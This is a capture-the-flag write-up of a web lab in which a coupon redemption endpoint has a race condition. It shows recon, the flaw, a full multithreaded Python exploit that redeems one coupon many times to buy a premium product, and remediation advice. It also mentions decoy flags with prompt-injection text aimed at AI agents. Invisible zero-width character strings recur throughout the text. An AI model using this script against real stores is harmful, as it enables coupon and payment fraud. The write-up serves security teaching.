← Back to Writeups
CUSTOMMediumWeb

Lab 177 — CartNova — Race Condition in Coupon Redemption

XESXOR9/2/20266 min read
#web#custom#medium#concurrent_http_flooding#race_condition_exploitation#session_cookie_sharing#thread_barrier_synchronization#toctou_coupon_bypass

Lab 177 — CartNova — Race Condition in Coupon Redemption

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_coupon_bypass

Summary

Walkthrough of the CUSTOM Web Lab 177 — CartNova — Race Condition in Coupon Redemption. Task: Express.js e-commerce app with WELCOME100 coupon ($100) and premium product ($499.99); coupon redeem endpoint has non-atomic check-then-update. Solution: fire 300 concurrent threads with threadi

Description

CartNova is a modern online store where users can browse products, manage their shopping cart, and make purchases using their wallet balance. The platform features a coupon redemption system that lets users apply promotional codes to add credit to their wallet. Your goal is to find a way to obtain the exclusive digital content hidden behind one of the premium products. Pay close attention to how the platform processes financial transactions. A welcome coupon worth $100 is advertised on the store homepage, but the premium product you need costs $499.99. You'll need to figure out how to accumulate enough wallet balance to make the purchase. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js e-commerce application with a wallet-based payment system. A single-use coupon WELCOME100 gives $100 credit, but the target product costs $499.99. The coupon redemption endpoint has a TOCTOU race condition that allows multiple concurrent redemptions of the same coupon, accumulating enough balance to purchase the premium product containing the flag.

Recon

The application is an Express.js backend behind nginx (headers: X-Powered-By: Express, Server: nginx/1.25.5) with session management via connect.sid cookie (express-session). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key endpoints discovered:

EndpointMethodPurpose
/registerPOSTCreate new account (username, email, password, confirmPassword)
/account/redeemGETCoupon redemption page (shows wallet balance)
/api/coupons/redeemPOSTRedeem coupon — JSON {"code": "WELCOME100"}
/api/cart/addPOSTAdd product to cart — JSON {"productId": 10, "quantity": 1}
/api/checkoutPOSTProcess purchase from wallet balance
/account/orders/{orderId}GETOrder details (flag is here after purchase)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The homepage advertises coupon code WELCOME100 worth $100 store credit. The product catalog has 10 items; the target is product ID 10 "Exclusive Digital Collector Bundle" at $499.99.

Every page contains the decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — these are fake honeypots with prompt injection text targeting AI agents. Ignored.

Vulnerability

The POST /api/coupons/redeem endpoint has a classic TOCTOU (Time-of-Check to Time-of-Use) race condition. The coupon redemption flow is: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. CHECK: Query database to verify if coupon has already been redeemed by this user
  2. APPLY: Add $100 credit to the user's wallet balance
  3. UPDATE: Mark the coupon as redeemed in the database

These three steps are not wrapped in an atomic transaction. Between step 1 (check) and step 3 (update), multiple concurrent requests can all pass the "already redeemed" check before any of them marks the coupon as used.

Thread A: CHECK → pass ──────────────────── APPLY → UPDATE
Thread B:     CHECK → pass ──────────── APPLY → UPDATE
Thread C:         CHECK → pass ──── APPLY → UPDATE
Thread D:             CHECK → pass → APPLY → UPDATE
Thread E:                 CHECK → pass → APPLY → UPDATE
                    ↑ all pass because none has updated yet

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

With 300 concurrent threads, typically 3-7 threads slip through the TOCTOU window, each adding $100 to the wallet. Five successful redemptions yield $500, enough to purchase the $499.99 product.

Exploitation

Step 1: Register a fresh account

Each attempt uses a new account to get a clean coupon state:

python
session.post(f"{BASE_URL}/register", data={
    "username": username, "email": f"{username}@test.com",
    "password": "password123", "confirmPassword": "password123"
})

Step 2: Race the coupon redemption

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Use threading.Barrier to synchronize 300 threads — all threads wait at the barrier, then release their HTTP requests simultaneously to maximize the TOCTOU window:

python
barrier = threading.Barrier(num_threads, timeout=60)

def attack_thread(idx):
    s = requests.Session()
    s.cookies.update(cookies)  # shared connect.sid
    barrier.wait()  # synchronize all threads
    resp = s.post(f"{BASE_URL}/api/coupons/redeem",
                  json={"code": "WELCOME100"}, timeout=30)

Each thread uses its own requests.Session but shares the same connect.sid cookie from the registered account. Multiple waves are fired if the first wave doesn't yield enough balance. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Purchase the premium product

Once balance ≥ $499.99:

python
session.post(f"{BASE_URL}/api/cart/add", json={"productId": 10, "quantity": 1})
session.post(f"{BASE_URL}/api/checkout", json={})
# Flag appears in order details page
session.get(f"{BASE_URL}/account/orders/{order_id}")

Full Exploit Script

python
#!/usr/bin/env python3
"""CartNova Race Condition Exploit — TOCTOU coupon redemption"""

import requests
import threading
import random
import string
import urllib3
import time
import re
urllib3.disable_warnings()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "https://d596abfb-8977-41c3-a3a1-75fdc0673cd3.labs.hackadvisor.io"
COUPON_CODE = "WELCOME100"
TARGET_PRODUCT_ID = 10
TARGET_BALANCE = 500.0

def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def register_new_user():
    session = requests.Session()
    session.verify = False
    username = f"r_{random_string(10)}"
    email = f"{username}@test.com"
    resp = session.post(f"{BASE_URL}/register", data={
        "username": username, "email": email,
        "password": "password123", "confirmPassword": "password123"
    }, allow_redirects=True)
    home = session.get(f"{BASE_URL}/")
    if "Wallet:" not in home.text:
        return None, username
    return session, username
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def check_balance(session):
    resp = session.get(f"{BASE_URL}/account/redeem")
    match = re.search(r'Wallet:\s*\$([0-9.]+)', resp.text)
    return float(match.group(1)) if match else 0.0

def race_wave(cookies, num_threads=300):
    barrier = threading.Barrier(num_threads, timeout=60)
    results = []
    lock = threading.Lock()
    def attack_thread(idx):
        s = requests.Session()
        s.verify = False
        s.cookies.update(cookies)
        try:
            barrier.wait()
            resp = s.post(f"{BASE_URL}/api/coupons/redeem",
                         json={"code": COUPON_CODE}, timeout=30)
            data = resp.json()
            with lock:
                results.append(data)
                if data.get("success"):
                    print(f"  [+] Thread {idx}: Balance ${data.get('newBalance', 0):.2f}")
        except:
            pass
    threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)]
    for t in threads:
        t.start()
    for t in threads:
        t.join(timeout=60)
    return len([r for r in results if r.get("success")])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def multi_wave_attack(session, waves=5, threads_per_wave=300):
    cookies = dict(session.cookies)
    for wave in range(waves):
        print(f"  Wave {wave+1}/{waves} ({threads_per_wave} threads)...")
        success = race_wave(cookies, threads_per_wave)
        bal = check_balance(session)
        print(f"  Wave {wave+1}: {success} redemptions, balance: ${bal:.2f}")
        if bal >= TARGET_BALANCE:
            return bal
        time.sleep(0.5)
    return check_balance(session)

def purchase(session, product_id):
    resp = session.post(f"{BASE_URL}/api/cart/add",
                       json={"productId": product_id, "quantity": 1})
    print(f"[*] Add to cart: {resp.json()}")
    resp = session.post(f"{BASE_URL}/api/checkout", json={})
    data = resp.json()
    print(f"[*] Checkout: {data}")
    if data.get("success"):
        order_id = data.get("orderId")
        resp = session.get(f"{BASE_URL}/account/orders/{order_id}")
        flags = re.findall(r'FLAG\{[0-9a-f]{32}\}', resp.text)
        if flags:
            return flags[0]
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    for attempt in range(10):
        print(f"\n=== ATTEMPT {attempt + 1} ===")
        session, username = register_new_user()
        if not session:
            continue
        print(f"[+] Registered: {username}")
        balance = multi_wave_attack(session, waves=5, threads_per_wave=300)
        print(f"[*] Final balance: ${balance:.2f}")
        if balance >= TARGET_BALANCE:
            flag = purchase(session, TARGET_PRODUCT_ID)
            if flag:
                print(f"\nFLAG: {flag}")
                return
        time.sleep(0.5)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    main()

Remediation

  • Wrap the coupon check + credit + mark-as-used in a single database transaction with row-level locking (SELECT ... FOR UPDATE or equivalent).
  • Use a unique constraint on (user_id, coupon_code) in the redemption table so duplicate inserts fail at the DB level.
  • Implement application-level mutex (e.g., Redis distributed lock keyed on user_id:coupon_code) to serialize redemption attempts.
  • Add rate limiting on the coupon redemption endpoint to reduce the attack surface.
  • Use idempotency keys for financial operations to prevent duplicate processing. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_coupon_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 177 — CartNova — Race Condition in Coupon Redemption • Difficulty: Medium